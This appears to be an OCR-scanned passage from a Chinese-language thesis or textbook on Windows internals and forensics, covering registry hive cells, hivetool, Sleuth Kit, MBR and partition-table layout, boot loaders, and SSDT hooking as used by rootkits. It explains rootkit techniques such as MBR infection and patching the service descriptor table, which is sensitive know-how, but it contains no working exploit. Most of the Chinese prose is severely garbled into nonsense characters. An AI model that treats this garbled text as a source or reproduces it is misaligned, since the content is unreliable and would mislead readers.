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ek Bk Bl - de o I B FRET A el



T BT UATES o ek B ILP v e bin ¢

—mie

% ATH cell FRIEF 5 X

;Hi
7

m—

FAPE o JATH( - B bin o <] 5 4006 bytes (hig B o o 0 F B8R A ¥
R FATH{ fo#'F > Flot - = allocate 4096 bytes ¥ 117 * & = ATH pF R
allocate «7#+ (2 — B 2 fF hive file e /] B ¥t e A fedFch BB (7 55
OB R AT o

wom i cell RigE TR a2 B ¥ ous ST A5 L Key cell ~ Value

cell~subkey-list cell~value-list cell 12 2 security-descriptor cell & #& o 4= Bl #71 -

[ 4-5 LUEPRIE regedit HEZAYIRT

o BimEEES ol
|EE(EJ |ED BEM ZNSEQ FHH
i | SOFTWARE “ ||z b=t =8
- 7-Zip ab| Path REG_SZ DA\Toal\7-Zip

Aok B Y > SOFTWARE I‘I.%—Zikey » 7-Zip B &_is e subkey » @ Path B -&_7-Zip

® - 1B value eh & % > @ value s data Bl _D:\Tool\7-Zip - & B,k & 7 H

BRI L
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@7 4-6 GRS key, path, fil value EiHE FEIE]

SOFTWARE
7-Zip
Path

D:\Tools\7-Zip

Subkey-list ;245 % key T %75 subkey > value-list f| #3457 key T #1#& 7

A

value> @ value Pl &.¢ 3 ¥ & F % zicdatachcell sniz¥ - 2 2 facell ¢ 2

sy, e s .
m@-:f—‘sm'ﬁ\ \3% '&T."—T .

< Key cell
+ Signature

c B {ATERF
« Parent key 1 cell i % (index)
« #7& 35 ensubkey =7 subkey-list £ cell 7 index

o #re L arvalue 0 value-list =0 cell 7 index
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» Security-descriptor cell 7 index

< Subkey-list cell

& 7 7 Bt I i parent key e 3 subkey 7 key cell £ index

< Value cell
 Signature

 Value sz 3

* Value =77 ix

e 3k data crocell shi ¥

3x 0 % value ihE B -t 4dbytes > 788 data € E 4573 A kx T data

srcell hi= g ehi% oA 3 € £ % — B cell &35 & & % 752z cell index

ke 3 IR AE 307 data o

% value-list cell
g 7 7 B> e B key 975 value 3 value cell = index

% security-descriptor cell

Signature
40 3 % key £ * i% B security descriptor £ reference counter
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(d)Hivetool 1 & 4 %

hivetool ¥ - & * % fZ+47 windows % #7511 E #icdd o d 3% windows % 4t
BILE AR 0 F - TR A AT o 321 B RE I Sl g R
V0 RB~d windows B 4SS e o ML 2 EF T A lINUX IR AT 0 B & F U
TR B E £ D windows shE Efh 0 TV USRI R SR S T~ Bl o 3R

FEATA L A PR - R

hivetool/lib 3 #L %
PR A RGP 0 hive A% o TR AZNB TR P2 hive
F %> T F 3 windows-like (i B 3 N (i F_RegSetValueEX, RegDeleteKey %) o

Ho AL RN

char* hivepath[] = {
NULL,
"\\HKEY_LOCAL_MACHINE\\SAM",
"\\HKEY_LOCAL_MACHINE\\SYSTEM",
"\\HKEY_LOCAL_MACHINE\\SECURITY",
"\\HKEY_LOCAL_MACHINE\\SOFTWARE",
"\\HKEY_CURRENT_USER\\",
NULL,
"\\HKEY_USERS\\SID-RID_Classes",
NULL,

II\\Il

|5

< & ntreg.c p o

hivetool/hivetools F #t %
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w3 Ap iR lib/libhive.c (A2 F8 o B & T - & 3 PE SRS 5

v

F* % &858 1 Key-Value ﬁ]&i? - gy o XA F AN H MR e Bk

-~

)

f#f’vr@ﬁxo

nstdreg.h/.c

FET - B RERNRFEFFRT > B KT S35 POSIX-like o 14 2%
5 owindows % B a3 N A S 0 Fp FEET - B SN LR RT D

Windows & 3% o

sam.h/.c

# % 75 B~ Security Accounts Manager data (SAM) » B~{8 & * AN Ik

K RBEE

hivetool/bin 3

EBFERAE Z T PREFE O OAPT I TR AN R FRG

P~ windows 78 - @ H ¢ listhive B A3 * KB-DZ8AR T % -

hivetool/misc 3 # &
B chfes 2 it o spiu et erdip T a5t % o

F1* Fakeng 2 AP B - bin/listhive - & ¥ 2 f247 - B windows F 4775

‘3\
5
W

) B g B KRBT
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(e)SleuthKit 1 £ 4 %

The Sleuth Kit ¥ - & * %5 & Unix & Windows 4% 4 seenB3p1 & &

p0

VOURASR A B KRS g e R > R A EBE WA R AL v T R

7

KALF S DR AR BORF T AR 0 XY R FE PR R o Y
TAABRE EE T
® ils 7|41y enkgde TR 0 ifE_inode F 3t

® blkls B w45 % AN TR THP

® fls Am 7y dndk f s BPRFRARP O E LA

46



413 MBRET 3%

MBR rootkit 5 #8 4% » p & ejlh %k biBpds 4250 o B Bhph kAl B4l
PREBizo- B4 BrRBERZY od W3 EFA ML FERB
Bw oo ¢l g > B R o MBRrootkit iy &4 ¥ & Refhk S v B ARY
RO B MR & R eni R o @ Qs T OB ER R R S R /0384
rootkit » ¥ 1 AR Rl F w F FlehRdEE R DA R ¢ o 454 rootkit ¥ MBR
T B RFIBMPC % - L4 30 e ﬁﬂ:},%i z ¢4 Brain: 3 * hook IDT 0x13

17 2 B 4 MBR st o

(2)MBR 4 &

B 2 % (boot sector) £l # ~ frab A s TR T HE - BEFR M F
FoEed T G A g v R enfgsY jemachinecodec H ¢ o SR T G A A
- ~ Volume Boot Record(VBR)

VBR ~ #C volume boot sector ¢ partition boot sector » £ - faF &% » &
M S gk b g0 disc volume ~ & FALEE R AL 0 2 75 * & boot
AR A A BPREFRAL v ARE DS - BRER A 2 A
SRKH oo U E3K K & B opartition (0% - BEE 0 @ & B device (% -
Be% = MBR - » TI*L»%L;& ' VBR £ d A A B ehs - BREF > & p
Tl chpartition eh% - BREE ¢ 70 Fr A iTE KRR AT B A R 2

pOES AT Bin B )RRt G o
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= ~ Master Boot Record(MBR)
SR B Bahy - BEE 0§ 7 i active partition 22 4= v (7 VBR
A2V o A VBR P g E T Ei%%“ﬁr} # E iy k8 - MBR 2 boot
manager k51% - & IBM PC g 3 %+ > BIOS ¥ 7 A% VBR ¥ MBR
PR A2 EALUT A AP FEFEFREEDT - B sector 0 ¥ F
B MBRAZ 42 54 76 » 4 s el B30 4 2 f 1 % » o active partition
7 VBR #4254 75 o
dod - B R T E Gk e dbbcd o F % € 87 Please Insert a bootable disc
andpressakey > iz 4 d BEFH T 7 3 L Bamr {8 o
MBR (Master Boot Record » i & fx# @ % ) & s - BE® >
] % Bl2Bytes; 7 B 31 T HAERF TR AR FBnE - BPEE U M
Wzt i (e B oBE%R) = (0:-0°1) MBR &.d gais 21
£ (FDISK ~ SPFDISK - Partition Magic % ) A ¥4 gk B = 0k
71> MBR #7 512 Bytes 7 B P 3£ & = 70 = BI0G o % - 300 5 fxds 475¢ (Boot

code) > = -] % 446 Bytes » ¥ — R i» I ip fLeHF -4 2] & (Partition Table) » =

‘- % 64 Bytes -

(b)MBR 174 i;
MBR 34 i 4

® FEAAiBeAAEASBE o
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® {7 fheBIOS i iF & MBR ¢ machine code instruction e384 {7 {5 » B % o
® % 32-bit crrdisk signature kri— i P23 B W] o disk media 0 B2 AR A AR B

running FE¥ 5 2 € * 3] o

MBR e ¥ A gtk & chfp Bl Tt 2 f 2 B A Behs [ 2 =% T &
FHFRDEE » v o ok SRR Ad L A ATREETAREE2
ZEAY BB PS NBFEE LR TRERETNE A TR LI ER A ST
Ao MBR P enF A58 FDISK B » ey E_ MR8 b chg § > foi® ¥ ki
FEPHE PR T > TE LRI E 2 AF BRSO ES B2 o e

- TR A AP o
Joh% 4-6 FEAE(T) MBR 45

> ht
¥ it £ B (BYTE)
Hex Oct Dec
0000 0000 O R E 440(% ~ 446)
01B8 0670 (440 ¥ * gatikix 4
01BC 0674 444 |- 4k % 7 &; 0x0000 2
£ MBR A 2] % 2]
01BE 0676 446 64
(wn[ﬁleytemI/}%l]%)xt’)
01FE (0776 |510 |55h MBR 7§ »cikik: )
01FF 0777 511 ' AAh OxAA55
MBR, & * /|1 446 +64 +2 = 512

7 Bootcode R im i F g FlEA A B B A A AR R BT g
AZiF 446 Bytes @ X AR AR B NS P R A - R § R RE B R A D
POST (Power On Self Test) & » BIOS ¢ #-F #4 @2 MBR @ 2 Boot code §

X memory ¥ # {7 > Boot code ¥ — FBH A4 B & ] 2N 0 & KA AL B 4
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? 35 di s 2 2] % (Active Partition) » I #-frds & 3] % 0% - BREE ¢ hE R

%

Mo PRER TR - P AR R A B R L i E RS 1

AAA B2 ¥ 50 F ok FI % A A2 [ & M Bhpas B> 5 B A 2)iB 15 e

‘m

)I*vﬁt - BA A F (partition); d % B A PR B2 424008 2 2

i
%;7;"31 - oMU E G - BAAA B A R R TR 2 BBl B
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[BlZ= 4-7 WHERE S E 2 (partition table)45HEE (5| B http://www.msservermag.com.tw/technicwords/020829.aspx)

[ A g |1 e
FEAEEA (E) |1 ovte

HE—{E Partition ik
FEIAFHmFOMIAT | 2 Bvie

*HAEIREGE | 1 Byt
MERIEER (E) |1 Evte

HEE Partition iLi%
EWHEFOET |2 Bvie

2 =

(=] (=]

b= b=

’ ’ AEIEFELAT

—_ . = = [ EE ﬁ m

HE={E Partition it = EEsE |0 OE
EME Partition 2% \ ATEFEREE |40
| 16 Bytes |

d > F B A BFNE & 16 B bytes 1 #3045 * MBR A 4 ”'J.,‘@;—&ﬁ&ﬁ%ﬂ;i’
B % R 4BA% A2 (primary partition) > & @3] 4 Bzt oehi & 4 B E
FPF A GfEALSATHFERE U] TRL B FH O, SR SR E W
& 2| (extend partition ) > ¥ i & & &]feat ¥ 4 B o#icE fede R 7 A ARE e B o
PR s gs FARAHP- A RAPY R ERBYEN LD LR
v A AR 2] (logical partition) A v * Kk F R F A o 4 ﬁé{?‘»? g3

LN R A R IR Y T F TP

s 4-7 B E FAE O EIEEA S

Primary partition # & 112 312|314

Extend Partition #ic& 1 1 1 0 0 0 0

Fh% 4-8 TERE S EIG A
wH | ER(mAw) 15
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A 00-->2biE s A ] 5 80-->iE B A 3] H
00H 1 "Tj L "

v =5 ;}Z RRE
01H 1 A 34 4o pEFE S (HEAD) » #* 5] 238 8 =~

A 2|4 458 T % (SECTOR) » i3 02H 11> 0—5 ;
02H 2 3 A 1) erde 441 8 (CYLINDER) » ik 43 02H #hie
6—7 4 03H ch 20 8 ==

04H ! R Yl
05H 1 A a2 d g EE 5L (HEAD) » # F] 2388 ==

A 3% 4B % 5L(SECTOR) » 9% 06H 1= 0—5 ;
06H 2 3% 4 3 e 4o g5 4 5L (CYLINDER) - ik 35 06H i
6—7 4 O7TH ch 220 8 =~

08H 4 A B ATA G R T
OCH 4 PRI RS 3

W osH P BESRE B Eed a5 - BBIELS L) rsﬂ)é - B
MBR . H4f i ezt @ 74 5 5 # 24k (Extend Boot Record » EBR) - H ¢ & 7t 4 1
g - Fip w284 8L WA P HEF 0 5 - Hdpe T - BEBIESRS T

W5 Waekk o A2 4§

Ju
4
>j‘.r
5!
oy
Y
—=\
e
o

il %’}#‘}%‘Hr’"“ :
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[E7 4-8 AEMEERR /3 EIF (Extend partition table ) &EEIE(5 1/ H

http://www.msservermag.com.tw/technicwords/020829.aspx)

B EEEhdhRE 1 Byte
FENARHEE ([) 1 Bryte
it BRI LR
FETAREIRFOMIAE | 2 Bute
iR ERERE | 1 Byte
Extend Partition FEHIHEE (@) 1 Byte
il [ S S p k4
4 2 | ARMEIRAE |20
m (=s ]
S b
’ ’ b T e b3 | sk
i e | FR b
Mo Use ({RE5) mEmmEEsE | © O
gy Bl
Mo Use ({RE) P08 4 Byte
| 16 Bytes |

BAEA L F b2 Asdn 8 2 B A R ap B AR e AF B BEAS B

%o BREET o PR TR SRR (- MBR éi AT I)

EZR 4-9 #iE ) EE —(EE A ERISERERE (5| E bttp://www.msservermag.com.tw/technicwords/020829.aspx)

Mo Use [{RE5 ) = 446 Bytes

I_
Extend Partition Table [ ZE{ERERE-TEEE) = 64 Bvies j’T—A

IEHFTER © REEE 2 Bytes

Beiso - BHBEZET 3 BLEALf 1 Bud AR AT L

i3 BABIEA L 6 7 A BT
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(&2 4-104 {5 EZ 3 &I (72) K 3 (6 EE o EIR 1 (B 735 (A ) ~EE (5 [ E

http://www.msservermag.com.tw/technicwords/020829.aspx)

3 Prmary Partition

4 Primary Fartition

1 Extend Partition
'
3 Logical Partition

@7 4-113 EEZrER 1 (8o FIFEEER (AE (5 H B

http://www.msservermag.com.tw/technicwords/020829.aspx)

Fartition Table
l e Prirnary Partition

Primary Partition

Primary Pattition

.

Partman Table Ladieal Paition

I I
T

l' §
E:tended . -
Fartition Table \qcal FParition
T

.I I
lo] |

Extend Parition

h

E:xtended
Fartition Table

P ———
[ 11

4

ogical Partition
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(OF: KXk P: % A3 12
Windows & 3t3gk Fm T o - ﬂ,f:;rs{‘ Ll m - A B AR A FlA TR

A RRPIr W AR o2 TR BEEF KRR

© LMBRAHZLYHIABLIAHSFIBLAH L BN LT rj-&{
WUEN SR - B RET ,%mk\é;lﬁ;@ﬁ&\

® Linux kit sHBALE LG sdal—sda4z“—"ﬁ hdal—hda4 ( H ¢ a % 7+
Aty v abcE % )e AMBRAEA? » 225 1—-4 % 3 53] (&

Har o E]) o BRSBTS B e

\F“\ﬂ
ETTRS

L MBRAHZAY - BABEAHEE S 2T 2 & B A2 Ao e L
LR BAHESH 2TR 533 - B3THHE > RHELE R T2 8p v is

2 TE;A’\B;'J?F » P g s - BAL de’\'ﬁr’@ v?\?ﬁi, Dadiciy 3’@’,‘.:—;’13,: 2TJ.F’&P\ °

AABB A E B MBR i B e
1. B4575 > BIOS B4l @ rsm M 2 % B2 i » L kA7) M i mn 4
FFFF:0000H usipt s £ > Bt 3] F i & ROM ¥ chp fe A2t oo 44 5
FRY(S dap M Ri)ie i d o
2. #P MBR- % BIOS# & FIA %1 ¥ ¥ ¢7 CMOS © &3k 24p 4 15 » # B
CMOS ¥ $tpads % % 3k R0 B BT * chpads £ % 5 BIOS #4p fufads %
% MBR & %3 ~ p 282 R muk 5 0000:7CO0H . -

3. # % 0000:7DFEH-0000:7DFFH(MBR % ¢ 245 +) 8 % %+ AAB5H» £ 7
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FNREE B RE B AR EY o Aok R R R R KRBT "NO
ROM BASIC"#X 15 % # o

4. % WR|3 B B R R RiS 0 BIOS M4 < o dp ket KR fads
%% e MBR #-p & 47 9 ] 0000:0600H e #5 {8 #4417

5. 1345 MBR ¥ ch3| %75 & fado 51 dae 58 o

CEERE FE D TEFE

Loader s i & # i £ & (L 1T ¥ 5 Seenff R a8 g 2~ 1w (kernel)
Flizelpte 27> Ld N LBITE AP ERSL I - R v PR g
PR NP BN KPP RING - BT L FERPEER
e v T MBR ¥ 7§ - B 0 F B4k kb (file system) 2% A2 F g ®T
-ARPERRETEIASKBBFIELS > L FTE LAFRIWELE
— i> loader |19 P &bk A LB BE R C Fh- SA M G BT E

Windows £ Linux & > B8 % ~ B¢ 242508 MBR fp B 240 Bl #7
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B 4-12 FIME HAE U4 4E5F MBR ~ FRIEIEEUESE 2SR AR5 B
http://linux.vbird.org/linux_basic/05100sloader.php [&] 1.2.1)

MER
Windows Linux H4
filesystem filesystem filesystem
[ [ |
Windows Linux AT
Lowder Losacker {t losder
BRITEIAFEREXE- BRPE I gt ke (4ot B0

z filesystem = T &£ e 42 ) @ A Linux & sk EPF > ViERE T LR ME S E

A% T MBR S F % £P MBR: & MBR B SR T30 ¢ § - PE {5
T AT AR AG 0 @ AP $Y Windows % #pF 0 Sk 6 A B MBR B S R

PR E AR T R KSR hsa MBR Y F §A7 e eniE

K- PRPERENI P L DB BER Y AT

ST ALY § e B R R0 P e S ATMBRE - B0 R

B3l (7R 8 % A5 o0 loader i B4R T R LRI B P AR A & o
¥4 At 4o T
® iiniEH

RYFFERTROBPBITE >4 LT LR B APT LERTD D

Procs %R g <



RN R ORBE TR K o
® < H i loader :
MRS R IR G B loader fof o FIE G andlEE e 0 & E
» A W% N o5 loader ©
% i Windows ¢ loader fg3k ¥ 7 & 3 f#HEE < i o F]t 7 A
Windows loader % §* > Linux £ loader ; & g ¥ 14 {8 &
£ % 2 Windows # Linux -

RS
http://linux.vbird.org/linux_basic/05100sloader.php [&] 1.2.2)
MBI

7% 4- 13 FARREEERE Y B BT RE B R REE A DR R B B (S B ?

Windows Linux H4h
filesystem filesystem filesystem
||
L. e Linux B F —
2 HIL.-;. W -_|','",||I| —
3, M L
4ot B>MBR & * Linux cogrub B4 AR50 7 Bk e 55 = BEH
$- BEET 5 g Lk b iR 52 B RO P kB Y - BEE
RS T AR S A48 2 & Windows k3 5 gt pF Windows <7 loader & F
AR T fode windows; % = B iE H R E_# * Linux AR E P R g T4
7 ’F'BﬁEF%fT}LgE)@:'W— i grub e 7o

(e) P 4 B 32425\ ehd 1 1§ £ (stage)

58



£ BIOS 3 % Tl i » 457 Rt § 3% - BB BEH 7 MBR 4 3 57 4
BARF RPN T LA EE A0 DRT PR R TR
R ehF G & 0 ke JE& 5 loader A At AT E & Buenfhe > 2 MBR 2B
My - BR% PN - BRI < 5 446 bytes: 2 ¢ Linux #-F ¢ 242
FNEERBARFERXRTLEL A A BIFEREARF
® FFELIPERP RIS gL

TR AT EARSE T MBR A B 2% 5 L ¥ 5 MBR <

JF sl 0 #x MBR AR SE R Y F X AE S 2R k| A 2R

A2 % % % loader 4p B 3K FAE -
® FE 20 A ARV TR

A

SEF W RARS P T KT EAPM TR SRR (A F T

(5

R ERR A - WRE o R THIE lboot T o
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(f) %i&/3~ & MBR gp %

BEART U A R HIEEE Rk T MBR chbytes - 1 EF
2 3 functioning code £ fixed set & ] MBR *# » j£_MS-DOS 5.0 4> DOS-mode
#gsifdisk e & 7 7 ¥ 12 B B MBR 425 5 eraswitch /mbr; % windows 2000 2. & >
Recovery Console ¥ 41 * ¢ &g 4 fixmbr K FTeMBR 2N BB IEA Y A
Windows Vista §= Windows 7 = - Recovery Environment #t* % % Command
Prompt + = 45 £ bootrec /FixMbr 3= MBR 242 3% 76 % T4 @+ ; X & third-party
utility 7 12 &7 % & &vig = =2 disk/sector editor cnfiiw™ » * X B j& S {EA
A d Lo F oo

A linux & > my-sys V4% k% EHEE S MBR m GRUB %2 LILO (LInux
LOader) :+#1+ 7 #i % grub-install 2 lilo —-mbr &1 £ ¥ 124 425575 % 3] MBR
? » GRUB Legacy grub interactive console » 5 454 ¥ */ 8 ¥ MBR # > dd » &

¥ AP 2 BB T @ sector (¢ 45 MBR) 1 POSIX 47 4 -
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4.1.4 SSDT Hooking

SSDT 2 % % System Service Descriptor Table » #& * %k # 3§ #-4t & * b
windows API-p % # % % i function = entry~function entry #cp ~ i@ ~ function
HREBE S o REERALTVER > RIEFE R * SSDT enii A o i
windows i * APl % & Protection Ring = ;N3 & 5% > A4 53]
Native APl » £ 3%k 5| 2} SSDT ehig g » £ 18 £ 3% hook Windows APl s &, » 2
Windows #74% * - it %3 SSDT 17 3% » i = hook Windows API ¢ i§ 3| 1)
BE S T ot RRELIRE 3 2 5 B4e - 328 kernel-mode Driver -

>34 4 & pE Kk p 3t Undocumented Windows 2000 Secrets : A

Programmers Cook Book ¢ Chapter2~3~4-~5> rf—-]g = SVEN B. SCHREIBER -

drax>t 2001 & o

(a) Application Programming Interface with Protection Ring

APl 15 - dife 8 k3B L BJRFFNE v > BRPRIAT i d B A28 ~ 250
B~ (% serf (73 o @ % APl ¥ 1UERKF (Fenfmd o FRALFOR A A ¥
o B RSN dE o ¥ 2 g % & Protection Ring s 4+ F ORI EE T A A
ok S etk o
— ST E K SLEET resource 7 # Fe £973 B~ *L o Protection Ring &7 - B %
A o B BT Bt Bl SR EGIAR EE D S B - Ringd ¥ &% 5

F Bk s 0 i RiNg0 poshE Bl F £LE R or AR 0 Hlde © CPU
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MEMORY % -

&% 4-14Protection Ring Level Bl {R &1 a4k & (=5 | HE:
http://en.wikipedia.org/wiki/Ring_(computer_security))

Least privileged

Ring 1
Ring 0

Kernel

- - Maost privileged
Device drivers

Device drivers

Applications

%t B Ring #7042 F B 5B~ B Ring (hF ik > & B H AR
gates 14 ¥ fLARAE PR h o P BB X D o BEH| R 1 — 1B user program
spyware 1 {7 & Ring3 > % J&3%F v 4 A g % T # AR ol

2 2

Privilege Level 7% R © web camera o & F "5+ » < 38A F * T ¥ % tde
windows XP ¥ i * 7 Ring0 % Ring3 * # %4 5 Kernel-mode £ User-mode -
AR AR APl ko L4250 B v API s function pF IF i & A2 5

;L:;Uﬁ MR H Geig o etk F S B Y - B % #74% Protection Ring

M R APLG S RS B iS58 AP B & 7§ LT @R

dm

RRF AR AR FR AR A F P R

R

SRR

(b)What is Native AP1?

& windows 95~windows 98 pF % » Win32 subsystem 4z application developers

e Ak s BT A ~ S E & chinterface implementation - » 250K 1 H
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* e APl - fe & windows 2000 # s 7 iFE

=

» % win32 subsystem 2. T » § { A&

A~ { A#hinterface - ¢ A Native APl » — #&h programmer £.5 % L0 §

programmer % & #2% driver level hfz ;8 pr 4 ¢ + & * 5| Native API -

BF24-15 E5/L1&2EYWindows NT Architecture
5 E(5 | F & :http://technet.microsoft.com/en-us/library/cc768129.aspx)

User Mode
System
Processes

Session

Managar

Wil ogan

Execulive Services
Kerngl Mode System Process System Services
0 Manager wf;fix SYE
Provess . T Window
Cache Vbary n Oect CTW Manager
i ., Fonctions L WA ppanager  GEPICH
Fila Systaimt Interface
Manager
Hardware Karnel -
rApRICE
Davica Drivers ) Davice Drivars
Haroware Abstraction Layer (HAL)

|

User Applications

'y
Win32 Subsyslem

Wirn3Z AP

(Kernel32 dif, User3Z.dll, GO32.dl)

Emyronment Funciions

NTOLL O L

|

Hardware

User Mode

Kernel Mode

I

EZE4-16 & 7 7

advapi32.dll ~ gdi32.dll ~ rpcrt4.dll ~ kernel32.dIl %

ntdll.dll g 5

ntoskrnl.exe o

Native APl %

user-mode

63

FIn T

Win32 subsystem 2 Native API 2_ FF erap i B %> user32.dll ~

\4

R i» 17 WIn32 subsystem o @

' 2

» B & b interface P F 1F %



B 4-16Win32 subsystem Ei Native APl 7 [EIFYAH{CEE{% (5 | A B : Undocumented Windows 2000 Secrets Chap?2
Figure 2-1 P.96)

> user32.dll  fm g advapi32.dII]
gdi32.dll i l rpcrid.dll
kernel32.dll
o ntanan [
INT 2Eh User Mode
h 4 Kernel Mode
ntoskrnl.exe
hal.dll & bootvid.dll

(c) The INT 2Eh System Service Handler

INT 2Eh B &_kernel mode £ user mode z_ ¥ *» 4% e special gate » 540— B 4>
#re ¢ — 1% special gate & Jf F 0 * KE B Ring 0423 3 Bp Bl Ring 7
resource - # | %k 3 : DeviceloControl()¥_- # Win32 =3 APl » DeviceloControl()

A B o kernel32.dll ¢ - p function & ¥ ¢ e A ntdlldll ¢ o

NtDeviceloControlFile()
[&F% 4-17DeviceloControl() 7% Int 2Eh AL NtDeviceloControl() (B 5 [ EH UndocumentedWindows 2000
Secrets Chap2 Example 2-1 p.97)

NtDeviceloControlFile:

mov eax, 38h
lea edx, [esp+d]
int 2Eh

ret 28h

EAX 7 *z Dispatch ID>EDX 4+ & » NtDeviceloControlFile()z = #7i& »

¢ function parameter - Int 2Eh 12 4% Interrupt Descriptor Table g 3| ¥ J& < Interrupt
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handler- Interrupt handler 235 Dispatch ID> .- 3& 3 3 Dispatch ID £ #} & system
call function = x4 > A% ¢ 35 3| ¥ & 9 system call service ¥ ¥ gt F|3% system
call service #4 {7 - @ 34 Interrupt handler #7iF 1 {Fehimé » B &7 & Bk € 4%

A o

(d)System Service Descriptor Table

‘3P interrupt handler shin 422 %0 » 5L 7 % Service Descriptor Table e 4

GF! 7 FREIR o £ 12 Clanguage P HE 4 1
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[E]Z% 4-18System Service Descriptor Table 454#%(5 | 5 : Undocumented Windows 2000 Secrets Chap5 Figure 5-1

P.267)
KeServiceDescriptorTable KiServiceTable
ServiceTable »| NtAcceptConnectPort 0x00
CounterTable = NULL NtAccessCheck Ox01
ServiceLimit = 0xF8 KiArgumentTable NtAccessCheckAndAuditAlarm 0x02
ArgumentTable — 0x18 0x00 NtAccessCheckByType 0x03
ServiceTable — NULL 0x20 Ox01 NtAccessCheckByTypeAndAuditAlarm  |0x04
CounterTable = NULL 0x2C Ox02 NtAccessCheckByTypeResultList 0x05
ServiceLimit =0 0x2C 0x03
ArgumentTable = NULL 0x40 0x04
: 0x2C 0x05
ServiceTable = NULL NtOpenChannel 0xE3
CounterTable = NULL NtReplyWaitSendChannel OxF4
ServiceLimit = 0 NtSendWaitReplyChannel OXF5
ArgumentTable = NULL 0x08 | OxF3 | NtSetContextChannel 0xF6
ServiceTable = NULL 0x0C 0xF4 | NtYieldExecution OxF7
CounterTable = NULL 0x10 0xF5
ServiceLimit =0 0x04 OxF&
ArgumentTable = NULL 0x00 0xF7

[EZ% 4-19System Service Descriptor B System Service Table 451%(5 [ B : Undocumented Windows 2000 Secrets
Chaps Listing 5-1 P.268)

typedef NTSTATUS (NTAPI *NTPROC) ();
typedef NTPROC *PNTPROC;
#define NTPROC_ sizeof (NTPROC)

typedef struct _SYSTEM SERVICE_TAELE
{

PNTPROC ServiceTable; // array of entry points
PODWORD CounterTable; // array of usage counters
DWORD ServiceLimit; // number of table entries
PEYTE ArgumentTable; // array of byte counts

SYSTEM_SERVICE_TABLE,
* PSYSTEM_SEEVICE TAELE,
**PPSYSTEM_SERVICE_TABLE;

typedef struct _SERVICE_DESCRIPTOR_TAEBLE
{
SYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe (native api)

SYSTEM_SERVICE_TABLE win32k; // win32k.sys (gdi/user support)
SYSTEM_SERVICE TABLE Table3; J/ not used

SYSTEM_SERVICE_TABLE Tabled; // not used

SERVICE_DESCRIPTOR_TARBLE,
* PSERVICE_DESCRIPTOER_TABLE,
**PPSERVICE_DESCRIPTOR_TABLE;

Service Descriptor Table z 3 = # module> % — i module : ntoskrnl.exe #% i
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= function ; % = & module : win32k.sys B % F % Win32 subsystem ; H &+ 3¢
Wil p ¥ o
¥t & 1 module #7¥f & ¢ System Service Table » 1/ ™ - & 4 igim~ 2 ¥
F R E BTG A
® PNTPROC #_type % NTPROC = function pointer » * if * % #773 Native API
e function pointer o
® ServiceTable ¢ 7 *73 Native API < function pointer -
® ServiceLimit % %A ServiceTable p #5 3| <7 Native APl entry #& & -
® ArgumentTable 3z4%* B ServiceTable entry %} /& =77 Natve APl # i¢ * pF> @ »

B = < | bytes e
® ntoskrnl.exe export global Service Descriptor Table:

”KeServiceDescriptorTable™ o
® System Service Table % Windows 2000 Driver Development Kit 4 & 3s 4

“KiServiceTable” -

(e) The INT 2Eh System Service Handler work flow

INT 2Eh gate # kernel mode %+ /& v handler % System Service Dispatcher >
ntoskrnl.exe p &7 System Service Dispatcher %] & % KiSystemService( ) °
KiSystemService() 3% 77 5= i 4 3%

1. j&_p =+ = Thread Control Block ¥ 31| Service Descript Table =7 pointer -

2. 1345 Dispatch ID & EAX p % 12~ 13 B bit 12 £z 352 2 44 system service §
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¢ - fh o
3. ¥ % ServiceLimit =& §_% & ;2 -Dispatch ID =nbit 0 ¥] bit 11 % ServiceLimit -
4. ¥ % 73 < parameter 0 stack pointer _% <% MmUserProbeAddress (exported
by ntoskrnl.exe) o
5. iz J5 ArgumentTable- j&_EDX 4y - ¢ stack 47 @l 4p I¢ < | - argument ¥ kernel
mode 1 stack o
6. 1345 Dispatch ID 2 System Service Table » g ¥| 4 & ¢ function 34 {7 -
7. =21 KiServiceExit() & & service call -
K% - # ¥ g KiSystemService() # i@ * global =7 System Descriptor
Table » m ¥ = i thread ;’K’f’ 3 p e e SDT » & F1E_f initialize thread p& »

KelnitializeThread() ¢ #= KeServiceDescriptorTable % 3 thread control block #2_ -

(f) Nt ~ Zw function sets

Native APl p &7 function » v i &5 function & f3 = f& prefix » & & 5 Nt
22 Zw - Nt prefix 7 function 45 = £ & Native API function #2 ;% 78 » iz £_Zw prefix
e function 7 ¢ ¥ #:4p + Native API function 4% 3% 45 » Zw prefix 5 function
¢ %4 Int 2Eh h handler £ & #7/5d System Service Dispatcher g3 & 3 Nt
prefix ez ;8 75 > v & 34 7 Nt prefix 9428 5384 » & 7F & kernel-mode & - *

e

B % Zw prefix function p % e+
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[E %= 4-20Zw prefix function A (&5 | E Undocumented Windows 2000 Secrets Chap2 Example 2-1 p.97)

NtDeviceloControlFile:

mov eax, 38h
lea edx, [esp+d]
int 2Eh

ret 28h

t ntdildll # # 5 3% 5 Windows APl #4253 @ * » %7 NUZw .
Native APl ¢t » ¥ ¢t & % — & Run time Library ¢ 2

The C Run Time Library » &]4= : memcpy() ~ sprint() ~ gsort() %

Extended Run Time Library
Floating Point Emulator
Etc

(9) Implant hooks into Native API functions

Hook #% % ki ~ i3 sxdc (1P ¥ 5 5~ % 425% ¥)ehst i o f1* hook %

& A2 5% & a0 function calls ~ message ~ events %2t 4, o F# g 4,7 U % 4

"

debugging ~ R4 & F &~ EARL- AR ATFE kLY hi7 5 o Hook » A& &
LAY RERELARSN AL ZBET N EBAELAY TG APl calls
output e

Patching the Service Descriptor Table

Hook Native API function & f§ ¥ & f&0 3¢ » fjk,{n; zx Service Descriptor
Table + % i i% £ hook 7 Windows API Function % Service Descriptor Table p
entry iz = ¥ F B AR N B A a0 A B RN BE R 2wyl i Aen
Windows API Function » 3= % % v @& % caller » 4ot @ # iFfJJ % ¢ 24 2k > hook
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AR R EE T o

Memory Protection

Z

VIS i

e

N+

el R - e R e e Bk ERE B e R
B e ] o SRR & F D ST @A - BARS B g2 RT3

fﬁ.
&l

W

Bk 5 F1E G bug AR B £ Echie AL R > T 6B

& Windows 3.X 2 { % 14w enp i > 7 efR st Bk seY RR T e - Hee

A o R G KR R Y DA A R AR 2 MM R E R > A

HFd dpih > ERE B & 0y Pt ) FARQ A FREDFRT R 0y
%’AFﬁ%iﬁﬁﬁﬁﬁﬁ&ﬁ%%o

F]7 Windows 2000 spF iz » 4 5u#-AGB s gz B A 23 B X < )

7% B > & 0X00000000~OX7FFFFFFF & 7 — #4258 enfg s a5 2 Tl » T4 7

it %_Ring 3 ~ )I* F_user mode T 942 ;% #173 B~ o 0x80000000~0xFFFFFFFF B i

